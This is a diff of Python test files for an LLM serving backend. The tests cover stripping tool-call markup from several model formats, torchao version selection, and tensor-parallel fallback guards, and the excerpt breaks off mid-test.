test_strips_hyphenated_mcp_bracket_name(): + cleaned = _TOOL_XML_RE.sub("", 'x [TOOL_CALLS]mcp__srv__list-issues{"q":"x"}') + assert "list-issues" not in cleaned + assert cleaned.strip() == "x" + + def test_preserves_mid_string_parameter_in_code_sample(): # Tail-anchor on `` so doc/example prose survives. text = ( @@ -273,3 +444,473 @@ def test_no_catastrophic_backtracking_on_orphan_opening_spam(): elapsed = time.perf_counter() - t0 assert elapsed < 0.1, f"regex took {elapsed*1000:.0f}ms on 1000x orphan opens" assert "" not in cleaned + + +# ── Two-level-nested bracket JSON (balanced-scan strip) ────────── + + +def test_route_strip_two_level_nested_bracket_keeps_trailing_prose(): + # Two-level-nested args must be removed whole so the trailing prose survives. + text = 'before [TOOL_CALLS]search{"f":{"g":{"h":1}}} after' + cleaned = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True) + assert cleaned == "before after" + assert "[TOOL_CALLS]" not in cleaned + + +def test_route_strip_two_level_nested_rehearsal_keeps_trailing_prose(): + text = 'note python[ARGS]{"a":{"b":{"c":1}}} done' + cleaned = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True) + assert cleaned == "note done" + assert "[ARGS]" not in cleaned + + +def test_route_strip_removes_call_with_literal_think_in_argument(): + # A literal inside a call argument strips with the call, not as reasoning. + text = ( + '{"name":"write","arguments":' + '{"text":"compare and tags"}}' + ) + out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True) + assert "" not in out and '"name"' not in out + + +def test_route_strip_removes_truncated_mistral_array(): + # A canonical array truncated by EOS is stripped by the route fallback like other orphans. + text = 'before [TOOL_CALLS] [{"name":"a","arguments":{"x":1}}' # missing ] + out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True) + assert "[TOOL_CALLS]" not in out and "{" not in out + assert "before" in out + + +def test_route_strip_keeps_prose_mentioning_args_marker(): + # ``foo[ARGS] in a sentence`` is prose; the rehearsal arm must not truncate the line. + text = "Please pass foo[ARGS] to the template and continue reading." + out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True) + assert out == text + + +def test_route_strip_handles_mistral_v11_call_id_args_shape(): + # v11 [CALL_ID]/[ARGS] shape (Mistral Small 3.2) must strip whole. + text = 'before [TOOL_CALLS]web_search[CALL_ID]abc123[ARGS]{"q":"x"} after' + out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True) + assert "[TOOL_CALLS]" not in out and "[CALL_ID]" not in out and "[ARGS]" not in out + assert "before" in out and "after" in out + + +# ── Mistral [/TOOL_CALLS] closer + literal inside a call ─────────────── + +from core.tool_healing import strip_tool_call_markup as _strip_tool_call_markup + + +def test_core_strip_removes_orphan_tool_calls_closer_array_form(): + # The bare v11 [/TOOL_CALLS] closer left by the balanced scan must not leak as content. + text = '[TOOL_CALLS] [{"name":"x","arguments":{}}][/TOOL_CALLS]' + assert _strip_tool_call_markup(text, final = True) == "" + + +def test_core_strip_removes_orphan_tool_calls_closer_named_form_keeps_tail(): + text = '[TOOL_CALLS]web_search{"q":"x"}[/TOOL_CALLS] tail' + assert _strip_tool_call_markup(text, final = True) == "tail" + + +def test_core_strip_removes_call_with_literal_think_in_argument(): + # An unclosed literal inside call arguments strips with the call (argument data). + text = 'before {"name":"write","arguments":{"text":"literal marker"}} after' + assert _strip_tool_call_markup(text, final = True) == "before after" + + +def test_route_display_strip_removes_orphan_tool_calls_closer_array_form(): + text = '[TOOL_CALLS] [{"name":"x","arguments":{}}][/TOOL_CALLS]' + out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True) + assert out.strip() == "" + + +def test_route_display_strip_removes_orphan_tool_calls_closer_named_form_keeps_tail(): + text = '[TOOL_CALLS]web_search{"q":"x"}[/TOOL_CALLS] tail' + out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True) + assert "[/TOOL_CALLS]" not in out + assert out.strip() == "tail" + + +def test_incomplete_xml_call_with_literal_think_in_arg_is_stripped(): + # An incomplete holding a literal strips to EOS, not as a reasoning + # block (the unclosed tail _tool_call_markup_spans previously missed). + from core.tool_healing import parse_tool_calls_from_text as _parse + from core.tool_healing import strip_tool_call_markup as _strip + + text = 'before {"name":"write","arguments":{"text":"literal marker"}} after' + assert [c["function"]["name"] for c in _parse(text)] == ["write"] + assert _strip(text, final = True) == "before" + + # A real reasoning block with no tool call is still preserved verbatim. + assert ( + _strip("answer real done", final = True) == "answer real done" + ) + + # A complete call followed by a real reasoning block: call stripped, block kept. + mixed = '{"name":"a","arguments":{}} mid r end' + assert _strip(mixed, final = True) == "mid r end" + + +# ── enabled-tool gate for the ambiguous bare-rehearsal strip (#5704) ── + + +def test_display_tool_name_gate_returns_active_names_or_none(): + # Empty / no tools -> None (unrestricted; keep the legacy strip-all behavior). + assert _display_tool_name_gate([]) is None + assert _display_tool_name_gate(None) is None + # OpenAI-shaped tool dicts -> set of function names, malformed entries dropped. + tools = [ + {"type": "function", "function": {"name": "web_search"}}, + {"type": "function", "function": {"name": "run_python"}}, + {"type": "function"}, # no name + {"nope": 1}, # no function + ] + assert _display_tool_name_gate(tools) == {"web_search", "run_python"} + + +def test_route_display_strip_keeps_inactive_rehearsal_when_gated(): + # P1 #5704: an inactive ``foo[ARGS]{...}`` is prose; the gated strip leaves the sentence intact. + gate = {"web_search"} + text = 'foo[ARGS]{"x":1} is just syntax.' + assert ( + _strip_tool_xml_for_display(text, auto_heal_tool_calls = True, enabled_tool_names = gate) + == text + ) + # A bare marker with no JSON body is likewise prose when inactive. + assert ( + _strip_tool_xml_for_display( + "use foo[ARGS] here", auto_heal_tool_calls = True, enabled_tool_names = gate + ) + == "use foo[ARGS] here" + ) + + +def test_route_display_strip_removes_active_rehearsal_when_gated(): + # Mirror case: an active tool name is a real rehearsal and still strips. + gate = {"web_search"} + out = _strip_tool_xml_for_display( + 'web_search[ARGS]{"query":"x"} done', auto_heal_tool_calls = True, enabled_tool_names = gate + ) + assert "web_search[ARGS]" not in out + assert out.strip() == "done" + + +def test_route_display_strip_ungated_strips_all_rehearsal_unchanged(): + # Backwards-compat: with no gate (None) the bare rehearsal strips as before. + text = 'foo[ARGS]{"x":1} is just syntax.' + assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = True).strip() == "is just syntax." + assert ( + _strip_tool_xml_for_display( + text, auto_heal_tool_calls = True, enabled_tool_names = None + ).strip() + == "is just syntax." + ) + + +def test_route_display_strip_control_token_stripped_regardless_of_gate(): + # [TOOL_CALLS] is a control token: stripped even when its NAME is not in the gate. + gate = {"web_search"} + out = _strip_tool_xml_for_display( + '[TOOL_CALLS]foo[ARGS]{"x":1} keep', auto_heal_tool_calls = True, enabled_tool_names = gate + ) + assert "[TOOL_CALLS]" not in out and "foo[ARGS]" not in out + assert out.strip() == "keep" + + +def test_core_strip_gates_bare_rehearsal_on_enabled_tools(): + # P1 (#5704): the shared strip gate mirrors the parse gate -- inactive names are prose + # and preserved, active names strip, ``None`` keeps legacy strip-all. + from core.tool_healing import strip_tool_call_markup as _strip + + text = 'foo[ARGS]{"x":1} is just syntax.' + assert _strip(text, final = True, enabled_tool_names = {"web_search"}) == text + assert ( + _strip('web_search[ARGS]{"q":1} done', final = True, enabled_tool_names = {"web_search"}) + == "done" + ) + assert _strip(text, final = True).strip() == "is just syntax." + assert _strip(text, final = True, enabled_tool_names = None).strip() == "is just syntax." + + +def test_route_display_strip_gate_preserves_inactive_history_rehearsal(): + # The GGUF history sanitiser passes the gate, so a documented inactive shape survives in + # the replayed prompt context. + gate = _display_tool_name_gate([{"function": {"name": "web_search"}}]) + text = 'To call it write foo[ARGS]{"x":1} in your reply.' + assert 'foo[ARGS]{"x":1}' in _strip_tool_xml_for_display( + text, auto_heal_tool_calls = True, enabled_tool_names = gate + ) + # An ACTIVE name is still stripped as a real rehearsed call. + assert "web_search[ARGS]" not in _strip_tool_xml_for_display( + 'Result web_search[ARGS]{"q":"x"} done', auto_heal_tool_calls = True, enabled_tool_names = gate + ) + # No gate (legacy) strips every NAME[ARGS]{...}. + assert "foo[ARGS]" not in _strip_tool_xml_for_display(text, auto_heal_tool_calls = True) + + +def test_gguf_history_sanitizer_forwards_enabled_tool_names_gate(): + # Wiring guard: the GGUF history strip must forward the display gate like the live strip. + block = _re.search( + r"Strip stale tool-call XML from conversation history.*?\.strip\(\)", + _src, + _re.DOTALL, + ) + assert block, "could not locate GGUF history sanitizer block" + assert "enabled_tool_names" in block.group( + 0 + ), "GGUF history sanitizer must pass enabled_tool_names to _strip_tool_xml_for_display" + + +def test_route_history_and_passthrough_forward_the_display_gate(): + # The safetensors/Anthropic history sanitisers and the Anthropic non-stream passthrough + # must forward the gate so inactive examples survive in replayed prompt / final text. + blocks = { + "safetensors history": r"Strip stale tool-call XML from prior assistant turns.*?\.strip\(\)", + "anthropic history": r"Strip stale tool-call XML via the protected display helper.*?\.strip\(\)", + "anthropic passthrough": r"gated on the declared tools so an\n.*?\.strip\(\)", + } + for label, pat in blocks.items(): + m = _re.search(pat, _src, _re.DOTALL) + assert m, f"could not locate {label} strip block" + assert "enabled_tool_names" in m.group( + 0 + ), f"{label} must forward enabled_tool_names to _strip_tool_xml_for_display" + + +# ── DeepSeek opener variants + bare Kimi (parse/strip symmetry) ── + + +def test_strips_deepseek_space_opener_variant(): + # The space-separated opener is parsed by the parser, so the display strip + # must remove it too (the shared opener alternation is reused here). + text = ( + "pre <｜tool calls begin｜><｜tool▁call▁begin｜>get_x<｜tool▁sep｜>" + '{"a":1}<｜tool▁call▁end｜><｜tool▁calls▁end｜> post' + ) + cleaned = _TOOL_XML_RE.sub("", text) + assert "tool" not in cleaned.replace("post", "").replace("pre", "") + assert cleaned == "pre post" + + +def test_strips_deepseek_escaped_underscore_opener_variant(): + text = ( + "pre <｜tool\\_calls\\_begin｜><｜tool▁call▁begin｜>get_y<｜tool▁sep｜>" + '{"a":1}<｜tool▁call▁end｜><｜tool▁calls▁end｜> post' + ) + cleaned = _TOOL_XML_RE.sub("", text) + assert cleaned == "pre post" + + +def test_strips_bare_kimi_call_without_section_wrapper(): + # Kimi can emit a bare <|tool_call_begin|>...<|tool_call_end|> with no + # section wrapper; the parser accepts it, so the strip must cover it. + text = ( + "pre <|tool_call_begin|>functions.get_w:0<|tool_call_argument_begin|>" + '{"a":1}<|tool_call_end|> post' + ) + cleaned = _TOOL_XML_RE.sub("", text) + assert "tool_call_begin" not in cleaned + assert cleaned == "pre post" + + +@pytest.mark.parametrize( + "text", + [ + # Prose that merely names a Kimi/DeepSeek marker (no real call follows) must + # survive: the call-shaped lookahead fires only on a real call or a bare EOF + # fragment, so an answer discussing the protocol is never truncated. + "See <|tool_call_begin|> in the docs. More prose after it.", + "The <|tool_calls_section_begin|> marker opens a batch. Read on.", + "DeepSeek uses <｜tool▁calls▁begin｜> to start a call block, then continues.", + ], +) +def test_deepseek_kimi_false_alarm_prose_is_kept(text): + # Regression for the route arm truncating a prose answer that references a marker + # without a following call (parser _TOOL_ALL_PATS already had this lookahead). + assert _TOOL_XML_RE.sub("", text) == text + + +def test_deepseek_kimi_real_calls_still_strip_after_false_alarm_fix(): + # The lookahead must not weaken real-call stripping: closed, truncated, and bare + # EOF-fragment forms all still get removed. + closed = ( + "answer <|tool_call_begin|>functions.get_w:0<|tool_call_argument_begin|>" + '{"a":1}<|tool_call_end|> tail' + ) + assert _TOOL_XML_RE.sub("", closed) == "answer tail" + eof_fragment = "prefix <|tool_call_begin|>" + assert _TOOL_XML_RE.sub("", eof_fragment) == "prefix " + deepseek = ( + "reply <｜tool▁calls▁begin｜><｜tool▁call▁begin｜>get_x<｜tool▁sep｜>" + '{"a":1}<｜tool▁call▁end｜><｜tool▁calls▁end｜>' + ) + assert _TOOL_XML_RE.sub("", deepseek) == "reply " + + +# ── Llama-3 <|python_tag|> arm bounds on REAL sentinels only ────── + + +# Llama-3 <|python_tag|> arm bounds on REAL sentinels only +def test_python_tag_strip_consumes_literal_sentinel_in_arg(): + # A <|python_tag|> tool call whose JSON argument carries a literal <|...|> + # token (here <|cite|>) must be stripped whole. The old `<(?!\|)` arm stopped + # at any `<|`, leaking the call tail (e.g. `<|cite|> here"}}`) into display. + text = '<|python_tag|>{"name": "send", "parameters": {"text": "use <|cite|> here"}}' + cleaned = _TOOL_XML_RE.sub("", text) + assert cleaned == "", f"python_tag call leaked at literal sentinel: {cleaned!r}" + + +@pytest.mark.parametrize( + "sentinel", + [ + "<|eot_id|>", + "<|eom_id|>", + "<|start_header_id|>", + "<|end_header_id|>", + ], +) +def test_python_tag_strip_stops_at_real_sentinel(sentinel): + # A genuine Llama control sentinel still bounds the strip so following + # assistant text is preserved (the arm must not swallow past it). + text = f'<|python_tag|>{{"name": "x", "parameters": {{}}}}{sentinel}visible answer' + cleaned = _TOOL_XML_RE.sub("", text) + assert ( + cleaned == f"{sentinel}visible answer" + ), f"strip did not stop at real sentinel {sentinel!r}: {cleaned!r}" + + +def test_python_tag_strip_restarts_on_second_python_tag(): + # A second <|python_tag|> opens a new tool-call region, so the whole pair is + # stripped (the arm bounds the first, then the next match consumes the rest). + text = '<|python_tag|>{"name": "a"}<|python_tag|>{"name": "b"}' + cleaned = _TOOL_XML_RE.sub("", text) + assert cleaned == "", f"second python_tag region leaked: {cleaned!r}" + + +def test_glm_call_with_literal_close_tag_in_arg_value_is_stripped_whole(): + # GLM 4.x emits NAMEkv .... + text = ( + "web_search\nquery\n" + "find here\n done" + ) + out = _strip_tool_xml_for_display(text, auto_heal_tool_calls = True) + assert "" not in out + assert "" not in out + assert out.strip() == "done" + + +def test_glm_normal_and_qwen_calls_still_stripped_by_route(): + # Regression: a normal GLM call (no literal close tag) and a Qwen + # {json} are still stripped; trailing prose is kept. + glm = "get_time\ntz\nUTC\n ok" + assert _strip_tool_xml_for_display(glm, auto_heal_tool_calls = True).strip() == "ok" + qwen = '{"name":"web_search","arguments":{"q":"x"}} after' + assert _strip_tool_xml_for_display(qwen, auto_heal_tool_calls = True).strip() == "after" + + +def test_route_strip_removes_param_alias_close_tag(): + # The parser accepts the ... attribute-form alias of + # ; the route tail cleanup must strip an orphan close too. + assert _strip_tool_xml_for_display("answer ", auto_heal_tool_calls = True) == "answer " + assert ( + _strip_tool_xml_for_display("answer ", auto_heal_tool_calls = True) == "answer " + ) + + +def test_route_strip_uses_guarded_function_scan_for_literal_nested_markup(): + # A literal in a value must not truncate the strip: the route runs the + # parser's guarded function-XML scan before the regex, matching the core strip. + text = " tail" + assert _strip_tool_xml_for_display(text, auto_heal_tool_calls = True).strip() == "tail" + + +def test_route_strip_gates_wrapperless_gemma_by_enabled_tools(): + # The route strip must gate the markerless Gemma call:NAME{...} form on the enabled tool names, + # like the parser/loop, so a disabled/example name in prose is preserved in ... + prose = "To document syntax you write call:foo{query:example}. That shows the format." + assert "call:foo{query:example}" in _strip_tool_xml(prose, {"web_search"}) + # An enabled name is still a real call and stripped. + assert "call:web_search" not in _strip_tool_xml( + "Answer. call:web_search{query:x}", {"web_search"} + ) + # No gate (legacy) strips every closed call. + assert "call:foo" not in _strip_tool_xml(prose) + + +def test_gemma_strip_gate_empty_tools_preserves_prose(): + # With NO tools enabled the gate must return an EMPTY set (strip nothing), not None: None falls + # back to strip-all and deletes an answer that documents the call:NAME{...} syntax. + assert _gemma_strip_gate([]) == set() + assert _gemma_strip_gate(None) == set() + assert _gemma_strip_gate([{"function": {"name": "web_search"}}]) == {"web_search"} + prose = "To document syntax you write call:foo{query:example}. That shows the format." + assert "call:foo{query:example}" in _strip_tool_xml(prose, _gemma_strip_gate([])) + assert "call:foo{query:example}" in _strip_tool_xml(prose, _gemma_strip_gate(None)) + # An enabled tool's real call is still stripped. + assert "call:web_search" not in _strip_tool_xml( + "Answer. call:web_search{query:x}", + _gemma_strip_gate([{"function": {"name": "web_search"}}]), + ) + + +def test_strip_keeps_prose_after_closed_function_call_with_literal_close(): + # The call ends at its first non-data close: prose after it survives the + # strip even when it mentions a literal . + from core.inference.tool_call_parser import strip_tool_markup + text = ( + "cats" + " Done. The tag closes a call." + ) + assert strip_tool_markup(text, final = True) == "Done. The tag closes a call." + + +def test_final_strip_keeps_prose_mentioning_bare_markers(): + # A false-alarm marker in a normal answer must not lose everything after + # it; only text that looks like that family's call start drops. + from core.inference.tool_call_parser import strip_tool_markup + for text in ( + "See [TOOL_CALLS] docs for details. More prose after.", + "<|python_tag|> is the Llama marker. Explanation continues.", + "The <|tool_call> opener wraps Gemma calls.", + ): + assert strip_tool_markup(text, final = True) == text + # A bare marker at end-of-text is a fragment and still drops. + assert strip_tool_markup("Answer text [TOOL_CALLS]", final = True) == "Answer text" + + +def test_final_strip_still_drops_truncated_marker_calls(): + from core.inference.tool_call_parser import strip_tool_markup + for text in ( + '[TOOL_CALLS][{"name":"web_search","argu', + '[TOOL_CALLS]web_search[ARGS]{"q":"x', + '<|python_tag|>{"name":"web_search","par', + '<|python_tag|>foo.call(items=["a', + "<|tool_call>call:web_search{query:tru", + ): + assert strip_tool_markup(text, final = True) == "" + + +def test_chained_bare_json_strip_consumes_all_calls(): + # The loops keep this text as next-turn history: a leftover executed call + # would be replayed alongside the structured tool_calls. + from core.inference.tool_call_parser import strip_leading_bare_json_call + + enabled = {"web_search", "python"} + chained = ( + '{"name":"web_search","parameters":{"q":"first"}};' + '{"name":"python","parameters":{"code":"x"}}' + ) + assert strip_leading_bare_json_call(chained, enabled_tool_names = enabled) == "" + assert ( + strip_leading_bare_json_call(chained + " trailing prose", enabled_tool_names = enabled) + == "trailing prose" + ) + # The chain stops at a non-call answer object, which stays visible. + call_then_answer = ( + '{"name":"web_search","parameters":{"q":"x"}};{"name":"web_search","result":"data"}' + ) + assert ( + strip_leading_bare_json_call(call_then_answer, enabled_tool_names = enabled) + == '{"name":"web_search","result":"data"}' + ) diff --git a/studio/backend/tests/test_torchao_select.py b/studio/backend/tests/test_torchao_select.py index 393a74daaf..e4775a10a6 100644 --- a/studio/backend/tests/test_torchao_select.py +++ b/studio/backend/tests/test_torchao_select.py @@ -12,6 +12,7 @@ from __future__ import annotations import sys from pathlib import Path +from unittest.mock import MagicMock import pytest @@ -31,16 +32,23 @@ def _load_module(monkeypatch): @pytest.mark.parametrize( "torch_version, expected", [ - # torch 2.10 (the reported bug: cu130 resolves 2.10.0) -> 0.16.0, - # independent of the local +cuXXX/+rocm/+cpu suffix or patch level. - ("2.10.0+cu130", "torchao==0.16.0"), + # torch 2.10 on CUDA <= 12 -> 0.16.0 (its cpp is built for torch 2.10.0 and + # loads against the CUDA-12 PyPI wheel). Independent of patch level. + ("2.10.0+cu128", "torchao==0.16.0"), + ("2.10.0+cu126", "torchao==0.16.0"), ("2.10.0+rocm6.4", "torchao==0.16.0"), ("2.10.0+cpu", "torchao==0.16.0"), ("2.10.1", "torchao==0.16.0"), ("2.10.0", "torchao==0.16.0"), - # Pre-release / dev / rc builds: the minor is cleaned of non-digits. + # torch 2.10 on CUDA >= 13 (Blackwell / cu130): 0.16.0's CUDA-12 cpp can't + # load against a CUDA-13 torch (libcudart.so.12 error), so use 0.17.0. + ("2.10.0+cu130", "torchao==0.17.0"), + ("2.10.0+cu140", "torchao==0.17.0"), + # Pre-release / dev / rc builds: the minor is cleaned of non-digits; the + # CUDA tag still decides 0.16.0 vs 0.17.0. ("2.10.0rc1", "torchao==0.16.0"), - ("2.10.0.dev20250804+cu130", "torchao==0.16.0"), + ("2.10.0.dev20250804+cu130", "torchao==0.17.0"), + ("2.10.0.dev20250804+cu128", "torchao==0.16.0"), ("2.10rc1", "torchao==0.16.0"), # torch 2.11 (reachable via ROCm rocm7.2) and forward -> 0.17.0. ("2.11.0+cu130", "torchao==0.17.0"), @@ -69,3 +77,60 @@ def test_default_spec_matches_table(monkeypatch): mod = _load_module(monkeypatch) assert mod._TORCHAO_DEFAULT_SPEC == "torchao==0.14.0" assert mod._select_torchao_spec("2.9.0") == mod._TORCHAO_DEFAULT_SPEC + + +@pytest.mark.parametrize( + ("rocm_windows_torch_installed", "installed_torch_is_windows_rocm"), + [ + (True, False), + (False, True), + ], +) +def test_skips_torchao_on_windows_rocm( + monkeypatch, tmp_path, rocm_windows_torch_installed, installed_torch_is_windows_rocm +): + """The overrides step must skip torchao on Windows ROCm: no working build exists + there (it imports an absent c10d backend and crashes transformers.quantizers), + so the installer skips it and relies on the runtime stub instead.""" + mod = _load_module(monkeypatch) + installed_specs: list[str] = [] + progress_labels: list[str] = [] + + def _record_pip_install(*args, **kwargs): + installed_specs.extend(str(arg) for arg in args) + return 0 + + unstructured_plugin = tmp_path / "unstructured" + github_plugin = tmp_path / "github" + unstructured_plugin.mkdir() + github_plugin.mkdir() + + subprocess_result = MagicMock() + subprocess_result.returncode = 0 + subprocess_result.stdout = "" + + monkeypatch.setenv("SKIP_STUDIO_BASE", "1") + monkeypatch.setattr(mod, "IS_WINDOWS", True) + monkeypatch.setattr(mod, "IS_MACOS", False) + monkeypatch.setattr(mod, "IS_MAC_ARM", False) + monkeypatch.setattr(mod, "NO_TORCH", False) + monkeypatch.setattr(mod, "_rocm_windows_torch_installed", rocm_windows_torch_installed) + monkeypatch.setattr( + mod, "_installed_torch_is_windows_rocm", lambda: installed_torch_is_windows_rocm + ) + monkeypatch.setattr(mod, "_bootstrap_uv", lambda: False) + monkeypatch.setattr(mod, "_repair_bad_anyio", lambda: None) + monkeypatch.setattr(mod, "_ensure_rocm_torch", lambda: None) + monkeypatch.setattr(mod, "_ensure_cuda_torch", lambda: None) + monkeypatch.setattr(mod, "_has_usable_nvidia_gpu", lambda: True) + monkeypatch.setattr(mod, "run", lambda *args, **kwargs: None) + monkeypatch.setattr(mod, "pip_install", _record_pip_install) + monkeypatch.setattr(mod, "_progress", lambda label: progress_labels.append(label)) + monkeypatch.setattr(mod, "LOCAL_DD_UNSTRUCTURED_PLUGIN", unstructured_plugin) + monkeypatch.setattr(mod, "LOCAL_DD_GITHUB_PLUGIN", github_plugin) + monkeypatch.setattr(mod.subprocess, "run", lambda *args, **kwargs: subprocess_result) + + assert mod.install_python_stack() == 0 + + assert not any(spec.startswith("torchao") for spec in installed_specs) + assert "dependency overrides (skipped, Windows ROCm)" in progress_labels diff --git a/studio/backend/tests/test_tp_vision_regression.py b/studio/backend/tests/test_tp_vision_regression.py new file mode 100644 index 0000000000..09af876da6 --- /dev/null +++ b/studio/backend/tests/test_tp_vision_regression.py @@ -0,0 +1,805 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Regression guards for silent tensor-parallel downgrades in load_model. + +PR #6416 blanket-disabled tensor parallelism for vision models to dodge a +--split-mode tensor + --mmproj GGML_ASSERT (#6415), which silently single-GPU'd +any mmproj/MTP GGUF that fit on one card. The fix makes the skip self-healing: +tensor is tried by default and recorded per (binary, model) only on a real abort. + +load_model is too entangled to drive end-to-end, so these tests inspect the +source / drive the pure helpers. The headline test pins the set of TP-drop +conditions, so a new silent drop fails CI. No GPU; fully deterministic. +""" + +from __future__ import annotations + +import ast +import importlib.util +import inspect +import os +import sys +import textwrap +import types as _types +from pathlib import Path + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +# External-dep stubs so importing the backend doesn't require structlog / httpx / +# loggers -- but only when the real module is missing, so a lightweight stub never +# shadows the real package (or `loggers.handlers` submodule) for tests collected +# later in the same pytest process. +try: + import structlog # noqa: F401 +except ImportError: + _structlog_stub = _types.ModuleType("structlog") + _structlog_stub.get_logger = lambda *a, **k: __import__("logging").getLogger("stub") + sys.modules["structlog"] = _structlog_stub +try: + import loggers # noqa: F401 +except ImportError: + _loggers_stub = _types.ModuleType("loggers") + _loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name) + sys.modules["loggers"] = _loggers_stub +try: + import httpx as _httpx_real # noqa: F401 +except ImportError: + _httpx_stub = _types.ModuleType("httpx") + for _exc in ( + "ConnectError", + "TimeoutException", + "ReadTimeout", + "ReadError", + "RemoteProtocolError", + "CloseError", + "HTTPError", + "RequestError", + ): + setattr(_httpx_stub, _exc, type(_exc, (Exception,), {})) + _httpx_stub.Timeout = type("T", (), {"__init__": lambda s, *a, **k: None}) + _httpx_stub.Response = type("Response", (), {}) + _httpx_stub.Client = type( + "C", + (), + { + "__init__": lambda s, **kw: None, + "__enter__": lambda s: s, + "__exit__": lambda s, *a: None, + }, + ) + sys.modules["httpx"] = _httpx_stub + +from core.inference.llama_cpp import LlamaCppBackend # noqa: E402 + +_GB = 1024**3 + + +def _load_inference_routes_module(): + """Load routes/inference.py directly, bypassing routes/__init__.py (which imports + every router, dragging in unrelated deps like python-multipart) (Codex #6659).""" + route_path = Path(_BACKEND_DIR) / "routes" / "inference.py" + spec = importlib.util.spec_from_file_location( + "tp_vision_regression_inference_routes", route_path + ) + assert spec is not None and spec.loader is not None + module = importlib.util.module_from_spec(spec) + sys.modules[spec.name] = module + spec.loader.exec_module(module) + return module + + +def _load_model_ast() -> ast.FunctionDef: + """Parse load_model into an AST FunctionDef (no import side effects).""" + src = textwrap.dedent(inspect.getsource(LlamaCppBackend.load_model)) + return ast.parse(src).body[0] + + +def _tensor_parallel_false_drop_guards() -> list[str]: + """Source of the guard expression for every `if ...: tensor_parallel = False` + (the LOCAL variable, not self._tensor_parallel) inside load_model.""" + fn = _load_model_ast() + + def _body_drops_tp(body) -> bool: + for n in body: + if ( + isinstance(n, ast.Assign) + and any(isinstance(t, ast.Name) and t.id == "tensor_parallel" for t in n.targets) + and isinstance(n.value, ast.Constant) + and n.value.value is False + ): + return True + return False + + return [ + ast.unparse(node.test) + for node in ast.walk(fn) + if isinstance(node, ast.If) and _body_drops_tp(node.body) + ] + + +# Every condition that may flip a requested tensor_parallel back to False. Adding +# one must be conscious: update this allowlist and keep multi-GPU where possible. +_ALLOWED_TP_DROP_GUARDS = { + # Capability: --split-mode tensor aborted for this (binary, model) (#6415). + # Self-healing -- tried by default, skipped only after a real abort (vs #6416). + "tensor_parallel and self._tensor_split_aborts(binary, model_identifier)", + # Capacity: tensor needs >= 2 GPUs clearing the compute-buffer reserve. + "tensor_parallel and len(tp_gpus) < 2", + # Capacity: pooled usable VRAM can't hold weights + MTP reserve -> layer split. + "_tp_weight_budget_mib <= _tp_required_mib", +} + + +def test_tensor_parallel_drop_sites_match_allowlist(): + """The set of reasons a requested TP can be dropped is fixed and reviewed: a new + drop site fails this set-equality until consciously allowlisted (would catch #6416).""" + found = set(_tensor_parallel_false_drop_guards()) + assert found == _ALLOWED_TP_DROP_GUARDS, ( + "tensor_parallel drop sites changed.\n" + f" unexpected (new) : {sorted(found - _ALLOWED_TP_DROP_GUARDS)}\n" + f" missing (removed): {sorted(_ALLOWED_TP_DROP_GUARDS - found)}\n" + "A new drop means a user's TP request is ignored for a new reason -- " + "review it, keep multi-GPU where possible, surface it, then update " + "_ALLOWED_TP_DROP_GUARDS." + ) + + +def test_every_tp_drop_is_logged_not_silent(): + """Each tensor_parallel downgrade must log why, so it never disappears silently.""" + fn = _load_model_ast() + + def _body_drops_tp(body): + return any( + isinstance(n, ast.Assign) + and any(isinstance(t, ast.Name) and t.id == "tensor_parallel" for t in n.targets) + and isinstance(n.value, ast.Constant) + and n.value.value is False + for n in body + ) + + def _body_logs(body) -> bool: + for n in ast.walk(ast.Module(body = list(body), type_ignores = [])): + if ( + isinstance(n, ast.Call) + and isinstance(n.func, ast.Attribute) + and isinstance(n.func.value, ast.Name) + and n.func.value.id == "logger" + ): + return True + return False + + for node in ast.walk(fn): + if isinstance(node, ast.If) and _body_drops_tp(node.body): + assert _body_logs(node.body), ( + f"TP drop under `{ast.unparse(node.test)}` has no logger call -- " + "downgrades must explain themselves." + ) + + +def test_tensor_split_gate_is_self_healing_not_blanket(): + """Skip is conditional on a recorded (binary, model) abort, not a blanket + is_vision disable (the #6416 regression).""" + src = inspect.getsource(LlamaCppBackend.load_model) + assert "self._tensor_split_aborts(binary, model_identifier)" in src + assert "if tensor_parallel and is_vision:" not in src + assert "if tensor_parallel and effective_is_vision:" not in src + + +def test_tensor_split_skip_documents_layer_split_fallback(): + """When the skip fires (known-bad binary+model), it states the fallback.""" + src = inspect.getsource(LlamaCppBackend.load_model) + gate = src.find("self._tensor_split_aborts(binary, model_identifier)") + assert gate != -1 + block = src[gate : gate + 600] + assert "layer split" in block, "the skip should state it falls back to layer split" + + +def test_tensor_split_abort_recorded_early_on_first_spawn(): + """Recorded on the first spawn showing the marker, before the flash-attn-off + retry (which can't run tensor so drops the marker) -- else it loops (oobabooga, #6659).""" + src = inspect.getsource(LlamaCppBackend.load_model) + idx = src.find("_record_tensor_split_abort(binary, model_identifier)") + assert idx != -1, "load_model must record a (binary, model) tensor-split abort" + guard = src[max(0, idx - 600) : idx] + assert "self._tensor_parallel" in guard + assert ( + "_should_record_tensor_split_abort" in guard + ), "record must be gated on the marker-plus-hard-crash decision helper" + # Recorded before the flash-attn-off retry, not after the full ladder. + fa_off = src.find("_with_flash_attn_off") + assert 0 <= idx < fa_off, "recording must latch on the first spawn, before flash-off" + + +def test_vision_downgrade_preserves_multi_gpu_intent(): + """The vision downgrade raises _layer_min_gpus and threads it into both the + _select_gpus and auto-context layer paths, so a fitting model still spreads.""" + src = inspect.getsource(LlamaCppBackend.load_model) + assert "_layer_min_gpus = max(_layer_min_gpus, len(gpus))" in src + assert src.count("min_gpus = _layer_min_gpus") >= 2 + assert "range(_auto_min_gpus, len(ranked) + 1)" in src + auto = src.find("_auto_min_gpus = max(") + assert auto != -1 and "_layer_min_gpus" in src[auto : auto + 200] + + +# ── per-binary capability cache (pure) ─────────────────────────────── + + +def test_tensor_attempted_by_default_for_unknown_binary(): + """A (binary, model) not seen to abort -> 